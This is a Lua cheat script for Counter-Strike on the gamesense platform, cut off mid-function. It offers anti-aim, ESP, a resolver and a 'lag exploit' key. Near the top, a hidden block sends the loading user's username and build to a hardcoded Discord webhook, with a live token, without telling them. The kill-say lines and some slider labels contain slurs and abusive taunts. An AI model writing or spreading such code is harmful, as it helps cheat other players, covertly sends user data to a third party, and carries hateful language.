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local

ui_new_combobox,ui_new_checkbox,ui_new_multiselect,ui_new_label,ui_new_color_picker
,ui_reference,ui_get,ui_set,ui_set_visible,entity_get_prop,client_set_event_callbac
k,renderer_text,renderer_rectangle,ui_menu_size,ui_menu_position,ui_mouse_position,
renderer_gradient,renderer_measure_text,renderer_texture,ui_new_slider,ui_new_hotke
y,entity_get_classname,entity_get_origin,globals_tickcount,entity_get_local_player,
entity_is_dormant,client_screen_size,entity_is_alive,ui_new_button,entity_is_enemy
=
ui.new_combobox,ui.new_checkbox,ui.new_multiselect,ui.new_label,ui.new_color_picker
,ui.reference,ui.get,ui.set,ui.set_visible,entity.get_prop,client.set_event_callbac
k,renderer.text,renderer.rectangle,ui.menu_size,ui.menu_position,
ui.mouse_position,renderer.gradient,renderer.measure_text,renderer.texture,ui.new_s
lider,ui.new_hotkey,entity.get_classname,entity.get_origin,globals.tickcount,entity
.get_local_player,entity.is_dormant,client.screen_size,entity.is_alive,ui.new_butto
n,entity.is_enemy

local anti_aim_funcs = require ("gamesense/antiaim_funcs") or error("Failed to


retrieve antiaim_funcs | https://gamesense.pub/forums/viewtopic.php?id=29665")
local ent_lib = require "gamesense/entity" or error("Failed to load entity |
https://gamesense.pub/forums/viewtopic.php?id=27529")
local clipboard = require("gamesense/clipboard") or error("Failed to load clipboard
| https://gamesense.pub/forums/viewtopic.php?id=28678")
local base64 = require("gamesense/base64") or error("Failed to load base64 |
https://gamesense.pub/forums/viewtopic.php?id=21619")
local trace = require "gamesense/trace" or error("Failed to load trace")
local discord = require('gamesense/discord_webhooks')
local obex_data = obex_fetch and obex_fetch() or {username = 'preto', build =
'Live', discord=''}
local vector = require "vector"
local ffi = require "ffi"

local tab,container = "AA","Anti-aimbot angles"

if obex_data.username ~= "preto" then


local Webhook =
discord.new('https://discord.com/api/webhooks/1158104712894222477/
NYTRvsVvfKm9feelw0kp9bFF-6fAoxXI9WZZatV59pPBQCOVI0wEi2TGDHKJn89oOMNN')
local RichEmbed = discord.newEmbed()

-- Properties
Webhook:setUsername('Opps')
Webhook:setAvatarURL('')

RichEmbed:setTitle('Loading')
RichEmbed:setDescription('did bro load?')
RichEmbed:setThumbnail('https://cdn.discordapp.com/icons/770374971087388732/
a_90e65c655cb31978f29c8f0b781338d6.webp?size=1024')
RichEmbed:setColor(9811974)
RichEmbed:addField('username', obex_data.username, true)
RichEmbed:addField('version',obex_data.build, true)

-- Send it!
Webhook:send(RichEmbed)
end
local menu = {
["main"] = {
welcome_label = ui.new_label(tab, container, "Welcome to ven\a96E631FFus\
affffffff.")
},

["anti-aim"] = {
anti_aim_states = {"Global","Manual","Standing","Moving","Ducking","Duck
moving","Slow walking","Jumping","Duck jumping","Legit","Fakelag","Height
advantage"},
anti_aim_selector = ui_new_combobox(tab, container, "Anti-aim type
selector", {"Skeet","Venus"}),
state_selector = ui_new_combobox(tab, container, "Anti-aim state",
{"Global","Manual","Standing","Moving","Ducking","Duck moving","Slow
walking","Jumping","Duck jumping","Legit","Fakelag","Height advantage"}),
anti_backstab=ui_new_checkbox(tab, container, "Anti backstab"),
safe_anti_aim=ui_new_checkbox(tab, container, "Safe Zeus / Knife"),
disable_on_quickpeek=ui_new_checkbox(tab, container, "Disable force
defensive on quickpeek"),
freestanding_disablers=ui_new_multiselect(tab, container,"Freestaning
disablers",{"Global","Manual","Standing","Moving","Ducking","Duck moving","Slow
walking","Jumping","Duck jumping","Fakelag"}),
dt_teleport=ui_new_hotkey(tab, container, "Lag exploit (have ragebot on
key)"),
builder = {},
},

["visuals"] = {
indicator=ui_new_combobox(tab, container, "Indicators",
{"Disabled","Default","Simple"}),
indicator_color=ui_new_color_picker(tab, container, "Indicator",
150,230,49,255),
indicator_scoped_animation=ui_new_checkbox(tab, container, "Scoped
indicator animation"),
defensive_indicator=ui_new_checkbox(tab, container, "Defensive indicator"),
defensive_indicator_color=ui_new_color_picker(tab, container, "Defensive
indicator color", 255,255,255,255),
desync_indicator=ui_new_checkbox(tab, container, "Desync indicator"),
desync_indicator_color=ui_new_color_picker(tab, container, "Desync
indicator color", 255,255,255,255),
slow_down_indicator=ui_new_checkbox(tab, container, "Slow down indicator"),
slow_down_indicator_color=ui_new_color_picker(tab, container, "slow down
indicator color", 255,255,255,255),
minimum_damage_indicator=ui_new_checkbox(tab, container, "Minimum damage
indicator"),
manual_anti_aim_indicators=ui_new_checkbox(tab, container, "Manual anti-aim
indicator"),
mi_type=ui_new_combobox(tab, container, "Manual anti-aim indicator style",
{"Default","Simple","Modern"}),
manual_anti_aim_indicators_color=ui_new_color_picker(tab, container,
"Manual anti-aim indicator color", 255,50,50,255),
ot_watermark=ui_new_checkbox(tab, container, "Watermark"),
watermark_logo=ui_new_checkbox(tab, container, "Watermark - logo"),
watermark_spacing=ui_new_slider(tab, container, "Watermark - logo spacing",
0,20 ,0, true),
player_esp=ui_new_multiselect(tab, container, "Player esp",{"Zeus esp","At
target flag"} ),
target_label=ui_new_label(tab, container, "At target flag"),
target_color=ui_new_color_picker(tab, container, "At target color",
255,50,50,255),
zeus_esp=ui_new_multiselect(tab, container, "Zeus ESP",
{"Flag","Indicator","Out of view"} ),
zeus_indicator_color=ui_new_color_picker(tab, container, "zeus endicator",
150,230,49,255),
},

["misc"] = {
fps_boost = ui_new_checkbox(tab,container,"FPS Mitigations"),
resolver=ui_new_checkbox(tab, container, "\af59042ffExperimental\affffffff
Resolver"),
safe_point=ui_new_multiselect(tab, container, "Safe point enhancer",
{"Lethal","Default","Standing","Small jitter" ,"Wide jitter"} ),
fast_ladder_box = ui_new_checkbox(tab,container,"Fast ladder"),
ladder_yaw_slider = ui_new_slider(tab,container, "Ladder angle", -180, 180,
0),
show_keybinds=ui_new_checkbox(tab, container, "Show keybinds"),
manual_r=ui_new_hotkey(tab, container, "Manual right"),
manual_l=ui_new_hotkey(tab, container, "Manual left"),
manual_f=ui_new_hotkey(tab, container, "Manual forward"),
manual_b=ui_new_hotkey(tab, container, "Manual reset"),
freestanding=ui_new_hotkey(tab, container, "Freestanding"),
sunset_mode=ui_new_checkbox(tab, container, "Night mode"),
aim_logs=ui_new_checkbox(tab, container, "Screen logs"),
aim_logo=ui_new_checkbox(tab, container, "Logs - Logo"),
logo_slider=ui_new_slider(tab, container, "Logs - Logo spacing", 0,15 ,0,
true),
aim_logs_hit_label=ui_new_label(tab, container, "Logs - Hit color"),
aim_logs_hit_color=ui_new_color_picker(tab, container, "Hitez
color",150,230,49,255),
aim_logs_miss_label=ui_new_label(tab, container, "Logs - Miss logs"),
aim_logs_miss_color=ui_new_color_picker(tab, container, "Missez
color",255,0,0,255),
old_logs=ui_new_multiselect(tab, container, "Old logs",
{"aim_hit","aim_miss","item_purchase"}),
kill_say=ui_new_combobox(tab, container, "Kill say",
{"Off","Main","Artists"}),
local_animations=ui_new_multiselect(tab, container, "Anims",{"Static legs
in air","Jitter legs","Crossing legs","Pitch 0 on land","Flashed","Victim"} ),
},

["extras"] = {
text = ui_new_checkbox("LUA","B","Icon_extra"),
icon = ui_new_checkbox("LUA","B","text_exetra"),
gradient = ui_new_checkbox("LUA","B","gradient_extras"),
length=ui_new_slider("LUA","B", "legfnth_Extra", 20,150 ,100, true),
width=ui_new_slider("LUA","B", "width_extra", 1,15 ,4, true),
text1 = ui_new_checkbox("LUA","B","Icon_extra1"),
icon1 = ui_new_checkbox("LUA","B","text_exetra1"),
gradient1 = ui_new_checkbox("LUA","B","gradient_extras1"),
dynamic = ui_new_checkbox("LUA","B","dynamic_extras1"),
length1=ui_new_slider("LUA","B", "legfnth_Extra1", 20,150 ,100, true),
width1=ui_new_slider("LUA","B", "width_extra1", 1,15 ,4, true),
},
}

local functions = {
["anti-aim"] = {
anti_aim_state = "Standing",
sim_time=0,
sim_tick=nil,
last_press = 0,
mode = "reset",
closest_player=0,
side=nil,
body=nil,
jitter=1,
skitter={-0.5,0.25,0.75},
five_way ={-0.5,-0.25,0.1,0.5,1},
actual_weapon=nil,
old_weapon=nil,
defensive_wait_ticks=0,
bomb_was_defused=false,
bomb_was_bombed=false,
},

["visuals"] = {
is_defensive=false,
defensive_tick=0,
forced_defensive=false,
},

["misc"] = {

end_time = 0,
ground_ticks = 0,
old_sun = {0,0,0},
sunset_active = false,
kill_say = {["Main"]={"1","Venus lua on top.", "Invite buyer down!!
1!","2"," Your config sales go ɴᴇɢᴀᴛɪᴠᴇ","ł'₥ ₮Ø₱ Ø₣ ₥Ɏ ⱤɆ₲łØ₦.","I hope u get down
syndrome","𝕄𝔼 𝕍𝕊 𝕐𝕆𝕌 𝕀𝕊 𝟙𝟞-𝟘 𝕠𝕟 𝕄𝕀ℝ𝔸𝔾𝔼 𝔽𝕌𝕃𝕃 𝕄𝔸ℙ"},
["Artists"]={"If you cannot talk about money, then listen.","Fuck on your
bitch, make that ho wanna Milly Rock","Bitches stupid, she think I'ma eat her"}}
},

["menu"] = {},
}

local mx,my = client_screen_size()

local dbs = {
defensive_x = database.read("def_indicator_x") or mx / 2,
defensive_y = database.read("def_indicator_y") or my / 2 - 100,
slow_x = database.read("slow_indicator_x") or mx / 2,
slow_y = database.read("slow_indicator_y") or my / 2 - 200,
is_dragging = false,
defensive_menu = false,
slow_menu = false,
size = 0,
should_drag = false,
last_item = "Defensive",
not_last_item = "Slow",
}

for k,v in ipairs(menu["anti-aim"].anti_aim_states) do


menu["anti-aim"].builder[v] = {}
menu["anti-aim"].builder[v].enable = ui_new_checkbox(tab, container, "Enable -
" .. v)
menu["anti-aim"].builder[v].pitch = ui_new_combobox(tab, container, "Pitch" ..
"\n" .. v, {"Off","Down","Minimal","Custom"})
menu["anti-aim"].builder[v].pitch_custom = ui_new_slider(tab, container,
"Custom".. "\n" .. v, -89, 89, 0, true, "º")
menu["anti-aim"].builder[v].yaw_base = ui_new_combobox(tab, container, "Yaw
base".. "\n" .. v, {"Local view","At targets"})

if v ~= "Manual" then
menu["anti-aim"].builder[v].yaw=ui_new_combobox(tab, container, "Yaw".. "\
n" .. v, {"Off","180","Static","180 Z"})
menu["anti-aim"].builder[v].random_flick=ui_new_checkbox(tab, container,
"Random flick\n" .. v)
end
menu["anti-aim"].builder[v].yaw_custom = ui_new_slider(tab, container, "Yaw\n
nigga" .. v, -180, 180, 0, true, "º")
menu["anti-aim"].builder[v].yaw_jitter = ui_new_combobox(tab, container, "Yaw
jitter".. "\n" .. v, {"Off","Offset","Center","Random","Skitter","Slow
jitter","L&R","Slow 5-way","50/50"})

if v ~= "Manual" then
menu["anti-aim"].builder[v].delay_custom = ui_new_slider(tab, container,
"Delayº\n" .. v, 1, 20, 0, true, "t")
menu["anti-aim"].builder[v].yaw_jitter2=ui_new_slider(tab, container, "Yaw
jitter right\n".. v, -180, 180, 0, true, "º")
end
menu["anti-aim"].builder[v].yaw_jitter_custom = ui_new_slider(tab, container,
"Yaw jitter left\n jitter" .. v, -180, 180, 0, true, "º")

menu["anti-aim"].builder[v].body_yaw = ui_new_combobox(tab, container, "Body


yaw".. "\n" .. v, {"Off","Opposite","Jitter","Static","Optimized slow","Optimized
jitter","YawV2"})
menu["anti-aim"].builder[v].body_yaw_custom = ui_new_slider(tab, container, "\n
custom" .. v, -180, 180, 0, true, "º")

menu["anti-aim"].builder[v].defensive_enable = ui_new_checkbox(tab, container,


"Enable \a96e631ffdefensive \n" .. v)
menu["anti-aim"].builder[v].defensive_tick_stopper = ui_new_slider(tab,
container, "Ticks".. "\n defensive" .. v, 1, 20, 0, true, "º")
menu["anti-aim"].builder[v].defensive_choke = ui_new_checkbox(tab, container,
"Choke \a96e631ffdefensive \n" .. v)
menu["anti-aim"].builder[v].defensive_force = ui_new_checkbox(tab, container,
"Force \a96e631ffdefensive \n" .. v)
menu["anti-aim"].builder[v].defensive_pitch = ui_new_combobox(tab, container,
"Pitch" .. "\n defensive" .. v, {"Off","Down","Minimal","Random","Custom","Lerp"})
menu["anti-aim"].builder[v].defensive_pitch_custom = ui_new_slider(tab,
container, "Custom".. "\n defensive" .. v, -89, 89, 0, true, "º")
menu["anti-aim"].builder[v].defensive_yaw=ui_new_combobox(tab, container,
"Yaw".. "\n defensive" .. v,
{"Off","180","Spin","L&R","Jitter","Skitter","Random","Sideways"})
menu["anti-aim"].builder[v].defensive_yaw_custom=ui_new_slider(tab, container,
"\n defensive custom" .. v, -180, 180, 0, true, "º")
menu["anti-aim"].builder[v].defensive_yaw_custom1=ui_new_slider(tab, container,
"\n 2 defensive custom" .. v, -180, 180, 0, true, "º")
end

local Venus_aa = {}
for k,v in ipairs(menu["anti-aim"].anti_aim_states) do
Venus_aa[v] = {}
Venus_aa[v].enable = ui_new_checkbox(tab, container, "Enable - " .. v .. "\n
custom")
Venus_aa[v].pitch = ui_new_combobox(tab, container, "Pitch" .. "\n" .. v .. "\n
custom", {"Off","Down","Minimal","Up","Random"})
Venus_aa[v].yaw=ui_new_combobox(tab, container, "Yaw".. "\n" .. v .. "\n
custom", {"Off","180"})

Venus_aa[v].yaw_custom = ui_new_slider(tab, container, "Yaw\n nigga" .. v .. "\


n custom", -180, 180, 0, true, "º")
Venus_aa[v].yaw_jitter = ui_new_combobox(tab, container, "Yaw jitter".. "\n" ..
v .. "\n custom", {"Off","Center"})
Venus_aa[v].yaw_jitter_custom = ui_new_slider(tab, container, "\n jitter" ..
v .. "\n custom", -180, 180, 0, true, "º")
Venus_aa[v].body_yaw = ui_new_combobox(tab, container, "Body yaw".. "\n" ..
v .. "\n custom", {"Off","Static","Jitter"})
Venus_aa[v].body_yaw_custom = ui_new_slider(tab, container, "\n custom" .. v ..
"\n custom", -180, 180, 0, true, "º")
end

local menu_reference = {
enabled = ui_reference("AA", "Anti-aimbot angles", "Enabled"),
pitch = { ui_reference("AA", "Anti-aimbot angles", "pitch") },
roll = ui_reference("AA", "Anti-aimbot angles", "roll"),
yawbase = ui_reference("AA", "Anti-aimbot angles", "Yaw base"),
yaw = {ui_reference("AA", "Anti-aimbot angles", "Yaw")},
fsbodyyaw = ui_reference("AA", "anti-aimbot angles", "Freestanding body yaw"),
edgeyaw = ui_reference("AA", "Anti-aimbot angles", "Edge yaw"),
dtholdaim = ui_reference("misc", "settings",
"sv_maxusrcmdprocessticks_holdaim"),
fakeduck = ui_reference("RAGE", "Other", "Duck peek assist"),
minimum_damage = ui_reference("RAGE", "Aimbot", "Minimum damage"),
safepoint = ui_reference("RAGE", "Aimbot", "Force safe point"),
forcebaim = ui_reference("RAGE", "Aimbot", "Force body aim"),
player_list = ui_reference("PLAYERS", "Players", "Player list"),
reset_all = ui_reference("PLAYERS", "Players", "Reset all"),
apply_all = ui_reference("PLAYERS", "Adjustments", "Apply to all"),
load_cfg = ui_reference("Config", "Presets", "Load"),
fl_limit = ui_reference("AA", "Fake lag", "Limit"),
dt_limit = ui_reference("RAGE", "Aimbot", "Double tap fake lag limit"),
quickpeek = {ui_reference("RAGE", "Other", "Quick peek assist")},
yawjitter = {ui_reference("AA", "Anti-aimbot angles", "Yaw jitter")},
bodyyaw = {ui_reference("AA", "Anti-aimbot angles", "Body yaw")},
freestand = {ui_reference("AA", "Anti-aimbot angles", "Freestanding")},
freestand_body = {ui_reference("AA", "Anti-aimbot angles", "Freestanding body
yaw")},
os = {ui_reference("AA", "Other", "On shot anti-aim")},
slow = {ui_reference("AA", "Other", "Slow motion")},
dt = {ui_reference("RAGE", "Aimbot", "Double tap")},
fakelag = {ui_reference("AA", "Fake lag", "Limit")},
fakelag_variance = ui_reference("AA", "Fake lag", "Variance"),
fake_lag_amount = ui_reference("AA", "Fake lag", "Amount"),
leg_movement = ui_reference("AA", "Other", "Leg movement"),
ammo = ui_reference("VISUALS","Player ESP","Ammo"),
weapon_text = ui_reference("VISUALS","Player ESP","Weapon text"),
weapon_icon = ui_reference("VISUALS","Player ESP","Weapon icon"),
ping = { ui_reference("MISC","Miscellaneous","Ping spike") },
clan_tag_spammer = ui_reference("MISC","Miscellaneous","Clan tag spammer"),
min_dmg_override = { ui_reference("RAGE","Aimbot","Minimum damage override") },
menu_key = { ui_reference("MISC","Settings","Menu key") },
dpi_scale = ui_reference("MISC","Settings","DPI scale")
}

local ui_menu = {
selected_tab = "Main",
easier_tab = {aa="Anti-
aim",aa2="Extras",visuals="Visuals",misc="Misc",config="Config",main="Main"},
}

ui_menu.aa =ui_new_button(tab, container, "• Anti-aim", function()


ui_menu.selected_tab = ui_menu.easier_tab.aa
end)

ui_menu.aa2 = ui_new_button(tab, container, "• Extras", function()


ui_menu.selected_tab = ui_menu.easier_tab.aa2
end)

ui_menu.visuals = ui_new_button(tab, container, "• Visuals", function()


ui_menu.selected_tab = ui_menu.easier_tab.visuals
end)

ui_menu.misc = ui_new_button(tab, container, "• Misc", function()


ui_menu.selected_tab = ui_menu.easier_tab.misc
end)

ui_menu.cfg = ui_new_button(tab, container, "• Config", function()


ui_menu.selected_tab = ui_menu.easier_tab.config
end)

local rectangle_outline = function(x,y,w,h,thickness,r,g,b,a)

-- left vertical
renderer_rectangle(x,y+2,thickness,h-2,r,g,b,a)
-- right vertical
renderer_rectangle(x+w,y+2,thickness,h-2,r,g,b,a)
-- bottom horizontal
renderer_rectangle(x,y+h,w+thickness,thickness,r,g,b,a)
-- top horizontal
renderer_rectangle(x,y,w+thickness,thickness,r,g,b,a)

end

local rounded_rectangle = function(x, y, w, h, r, g, b, a, radius, thickness)


y = y + radius
local data_circle = {
{x + radius, y, 180},
{x + w - radius, y, 270},
{x + radius, y + h - radius * 2, 90},
{x + w - radius, y + h - radius * 2, 0},
}

local data = {
{x + radius, y - radius, w - radius * 2, thickness},
{x + radius, y + h - radius - thickness, w - radius * 2, thickness},
{x, y, thickness, h - radius * 2},
{x + w - thickness, y, thickness, h - radius * 2},
}

for _, data in next, data_circle do


renderer.circle_outline(data[1], data[2], r, g, b, a, radius, data[3],
0.25, thickness)
end

for _, data in next, data do


renderer.rectangle(data[1], data[2], data[3], data[4], r, g, b, a)
end
end

local round_rectangle = function(x, y, w, h, r, g, b, a, thickness)


renderer_rectangle(x, y, w, h, r, g, b, a)
renderer.circle(x, y, r, g, b, a, thickness, -180, 0.25)
renderer.circle(x + w, y, r, g, b, a, thickness, 90, 0.25)
renderer_rectangle(x, y - thickness, w, thickness, r, g, b, a)
renderer.circle(x + w, y + h, r, g, b, a, thickness, 0, 0.25)
renderer.circle(x, y + h, r, g, b, a, thickness, -90, 0.25)
renderer_rectangle(x, y + h, w, thickness, r, g, b, a)
renderer_rectangle(x - thickness, y, thickness, h, r, g, b, a)
renderer_rectangle(x + w, y, thickness, h, r, g, b, a)
end

local function lerp(a, b, t)


return a + (b - a) * t
end

local function table_contains(tbl, val)


for i=1,#tbl do
if tbl[i] == val then
return true
end
end
return false
end

local intersect = function(x, y, w, h)


local cx, cy = ui.mouse_position()
return cx >= x and cx <= x + w and cy >= y and cy <= y + h
end

local prev_simulation_time = 0
functions["anti-aim"].sim_diff = function()

if entity_get_local_player() == nil then


return
end

local current_simulation_time = math.floor(0.5 +


(entity_get_prop(entity_get_local_player(), "m_flSimulationTime") /
globals.tickinterval()))
local diff = current_simulation_time - prev_simulation_time
prev_simulation_time = current_simulation_time
return diff
end
functions["anti-aim"].legit_aa = function(cmd)

if not ui_get(menu["anti-aim"].builder["Legit"].enable) then return end

local in_use = cmd.in_use == 1


local in_bombsite = entity_get_prop(entity_get_local_player(), "m_bInBombZone")
> 0
local nTeam = entity_get_prop(entity_get_local_player(), "m_iTeamNum")
lx,ly,lz = entity_get_origin(entity_get_local_player())

local from = vector(client.eye_position())


local to = from + vector():init_from_angles(client.camera_angles()) * 1024

local tr = trace.line(from, to, { skip = entity_get_local_player(), mask =


"MASK_SHOT" })

local local_pos = vector(entity_get_origin(entity_get_local_player()))

if tr.fraction >= 1 then


tr.entindex = 0
end

if entity_get_classname(tr.entindex) ~= "CWorld" and


entity_get_classname(tr.entindex) ~= "CCSPlayer" and
entity_get_classname(tr.entindex) ~= "CFuncBrush" and
entity_get_classname(tr.entindex) ~= "CBaseButton" and
entity_get_classname(tr.entindex) ~= "CDynamicProp" and
entity_get_classname(tr.entindex) ~= "CPhysicsPropMultiplayer" and
entity_get_classname(tr.entindex) ~= "CBaseEntity" and
entity_get_classname(tr.entindex) ~= "CC4" then

local not_wepwep = vector(entity_get_origin(tr.entindex))

if entity_get_classname(tr.entindex) == "CPropDoorRotating" or
(entity_get_classname(tr.entindex) == "CHostage" and nTeam == 3) then

if local_pos:dist(not_wepwep) < 125 then

return false
end

elseif entity_get_classname(tr.entindex) ~= "CPropDoorRotating" and


entity_get_classname(tr.entindex) ~= "CHostage" then

if local_pos:dist(not_wepwep) < 200 then


return false
end
end
end

local bomb_table = entity.get_all("CPlantedC4")


local bomb_planted = #bomb_table > 0
local bomb_distance = 100

if bomb_planted then
local bomb_entity = bomb_table[#bomb_table]
local bomb_pos = vector(entity_get_origin(bomb_entity))
bomb_distance = local_pos:dist(bomb_pos)
end

local defusing = bomb_distance <= 80 and nTeam == 3 and functions["anti-


aim"].bomb_was_bombed == false and functions["anti-aim"].bomb_was_defused == false

if defusing then return false end

if in_use then
cmd.in_use = 0
return true
end
return false
end

functions["anti-aim"].manual_anti_aim_setup = function()

if not ui_get(menu["anti-aim"].builder["Manual"].enable) or (not


ui_get(menu["anti-aim"].anti_aim_selector) and not ui_get(menu["anti-aim"].enable))
then
return
end

if ui_get(menu["misc"].manual_r) and globals.curtime() > functions["anti-


aim"].last_press + 0.2 then
functions["anti-aim"].mode = functions["anti-aim"].mode == "right" and
"reset" or "right"
functions["anti-aim"].last_press = globals.curtime()
elseif ui_get(menu["misc"].manual_l) and globals.curtime() > functions["anti-
aim"].last_press + 0.2 then
functions["anti-aim"].mode = functions["anti-aim"].mode == "left" and
"reset" or "left"
functions["anti-aim"].last_press = globals.curtime()
elseif ui_get(menu["misc"].manual_f) and globals.curtime() > functions["anti-
aim"].last_press + 0.2 then
functions["anti-aim"].mode = functions["anti-aim"].mode == "forward" and
"reset" or "forward"
functions["anti-aim"].last_press = globals.curtime()
elseif ui_get(menu["misc"].manual_b) and globals.curtime() > functions["anti-
aim"].last_press + 0.2 then
functions["anti-aim"].mode = "reset"
functions["anti-aim"].last_press = globals.curtime()
elseif functions["anti-aim"].last_press > globals.curtime() then
functions["anti-aim"].last_press = globals.curtime()
end

if functions["anti-aim"].mode ~= "reset" then


ui_set(menu_reference.yaw[1],"180")
if functions["anti-aim"].mode == "right" then
ui_set(menu_reference.yaw[2],90)
elseif functions["anti-aim"].mode == "left" then
ui_set(menu_reference.yaw[2],-90)
elseif functions["anti-aim"].mode == "forward" then
ui_set(menu_reference.yaw[2],180)
end
end
end
functions["anti-aim"].safe_anti_aim = function(cmd)

if not ui_get(menu["anti-aim"].safe_anti_aim) then


return
end

if (entity_get_classname(entity.get_player_weapon(entity_get_local_player()))
== "CKnife" or
entity_get_classname(entity.get_player_weapon(entity_get_local_player())) ==
"CWeaponTaser") and ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].enable) then
local on_ground = bit.band(entity_get_prop(entity_get_local_player(),
"m_fFlags"), 1) == 1 and cmd.in_jump == 0

if not on_ground then


ui_set(menu_reference.yaw[1],"180")
ui_set(menu_reference.yaw[2],0)
ui_set(menu_reference.yawjitter[2],0)
ui_set(menu_reference.bodyyaw[1],"Static")
end
end
end

local extrapolate_pos = function(entindex, origin, ticks)


local tick_interval = globals.tickinterval()

local velocity = vector(entity_get_prop(entindex, "m_vecVelocity"))


velocity.z = velocity.z - (cvar.sv_gravity:get_float() * tick_interval)

return origin + velocity * ticks * tick_interval


end

functions["anti-aim"].anti_backstab = function(cmd)

functions["anti-aim"].distance=999999
for k,v in ipairs(entity.get_players(true)) do

local local_origin = vector(entity_get_origin(entity_get_local_player()))


local players_origin = extrapolate_pos(v,vector(entity_get_origin(v)),10)
local closest_origin = vector(entity_get_origin(functions["anti-
aim"].closest_player))

--hi ori I don't even know what the fuck is going on :|


if local_origin:dist2d(players_origin) <= functions["anti-aim"].distance
then
functions["anti-aim"].closest_player = v
functions["anti-aim"].distance = local_origin:dist2d(players_origin)
elseif local_origin:dist2d(players_origin) <=
local_origin:dist2d(closest_origin) then
functions["anti-aim"].closest_player = v
functions["anti-aim"].distance = local_origin:dist2d(players_origin)
end

if entity_get_classname(entity.get_player_weapon(functions["anti-
aim"].closest_player)) == "CKnife" and
local_origin:dist2d(vector(entity_get_origin(functions["anti-
aim"].closest_player))) < 250 and ui_get(menu["anti-aim"].anti_backstab) then
local eye_x, eye_y, eye_z = client.eye_position()
local head_x, head_y, head_z = entity.hitbox_position(v, 4)
local fraction, entindex_hit =
client.trace_line(entity_get_local_player(), eye_x, eye_y, eye_z, head_x, head_y,
head_z)

local wx, wy = renderer.world_to_screen(head_x, head_y, head_z)

if entindex_hit == v or fraction == 1 then

ui_set(menu_reference.yawbase,"At targets")
ui_set(menu_reference.yaw[1],"180")
ui_set(menu_reference.yaw[2],180)
ui_set(menu_reference.yawjitter[1],"Off")
end
end

end
end

functions["anti-aim"].defensive_jitter = false
functions["anti-aim"].defensive_spin_amout = 0
functions["anti-aim"].defensive_skitter = 1

local def_switched = false


local def_value = 0
functions["anti-aim"].defensive_setup = function(cmd)

-- :)

if ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_enable) and ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].enable) and
ui_get(menu_reference.dt[1]) and ui_get(menu_reference.dt[2]) then

if ui_get(menu["anti-aim"].disable_on_quickpeek) and
ui_get(menu_reference.quickpeek[1]) and ui_get(menu_reference.quickpeek[2]) or
ui_get(menu_reference.fakeduck) then
return
end

-- need to add defensive checks :(


-- paste from starlight :)

functions["anti-aim"].old_weapon = functions["anti-aim"].current_weapon
functions["anti-aim"].current_weapon =
entity.get_player_weapon(entity_get_local_player())

if functions["anti-aim"].old_weapon ~= functions["anti-
aim"].current_weapon then
functions["anti-aim"].defensive_wait_ticks = globals_tickcount()
end

if globals_tickcount() < functions["anti-aim"].defensive_wait_ticks +


50 then
return
end
-- check for stuff like jitter ig
if cmd.chokedcommands == 0 then
functions["anti-aim"].defensive_jitter = not functions["anti-
aim"].defensive_jitter
functions["anti-aim"].defensive_skitter = client.random_int(1, 3)

def_value = def_value + (def_switched and 8 or -8)

if math.ceil(def_value) >= 89 then


def_switched = false
elseif math.ceil(def_value) <= -89 then
def_switched = true
end
end

cmd.force_defensive=ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_force)

if functions["anti-aim"].sim_tick == nil then


return
end

if globals.tickcount() >= functions["anti-aim"].sim_tick +


ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_tick_stopper) then
return
end

--cmd.allow_send_packet = ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_choke)

if ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_pitch) == "Lerp" then
ui_set(menu_reference.pitch[1],"Custom")
ui_set(menu_reference.pitch[2],math.max(-89,math.min(89,def_value)))
elseif ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_pitch) ~= "Off" then
ui_set(menu_reference.pitch[1],ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].defensive_pitch))
ui_set(menu_reference.pitch[2],ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].defensive_pitch_custom))
end

if ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_yaw) ~= "Off" then
if ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_yaw) == "Jitter" then
ui_set(menu_reference.yaw[1],"180")
ui_set(menu_reference.yaw[2],functions["anti-aim"].defensive_jitter
and ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_yaw_custom) or -ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].defensive_yaw_custom) )
ui_set(menu_reference.bodyyaw[1],"Static")
ui_set(menu_reference.bodyyaw[2],functions["anti-
aim"].defensive_jitter and -115 or 115)
elseif ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_yaw) == "Spin" then
functions["anti-aim"].defensive_spin_amout = functions["anti-
aim"].defensive_spin_amout + ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_yaw_custom)

if functions["anti-aim"].defensive_spin_amout > 180 then


functions["anti-aim"].defensive_spin_amout = -180
elseif functions["anti-aim"].defensive_spin_amout < -180 then
functions["anti-aim"].defensive_spin_amout = 180
end

ui_set(menu_reference.yaw[1],"180")
ui_set(menu_reference.yaw[2],functions["anti-
aim"].defensive_spin_amout)
ui_set(menu_reference.bodyyaw[1],"Static")
ui_set(menu_reference.bodyyaw[2],0)

elseif ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_yaw) == "180" then
ui_set(menu_reference.yaw[1],"180")
ui_set(menu_reference.yaw[2],ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].defensive_yaw_custom))
elseif ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_yaw) == "Skitter" then
ui_set(menu_reference.yawjitter[1],"Skitter")
ui_set(menu_reference.yawjitter[2], ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].defensive_yaw_custom))
ui_set(menu_reference.bodyyaw[1],"Jitter")
ui_set(menu_reference.bodyyaw[2],1)
elseif ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_yaw) == "Random" then
ui_set(menu_reference.yaw[1],"180")
ui_set(menu_reference.yaw[2],client.random_int(-180, 180))
ui_set(menu_reference.bodyyaw[1],"Static")
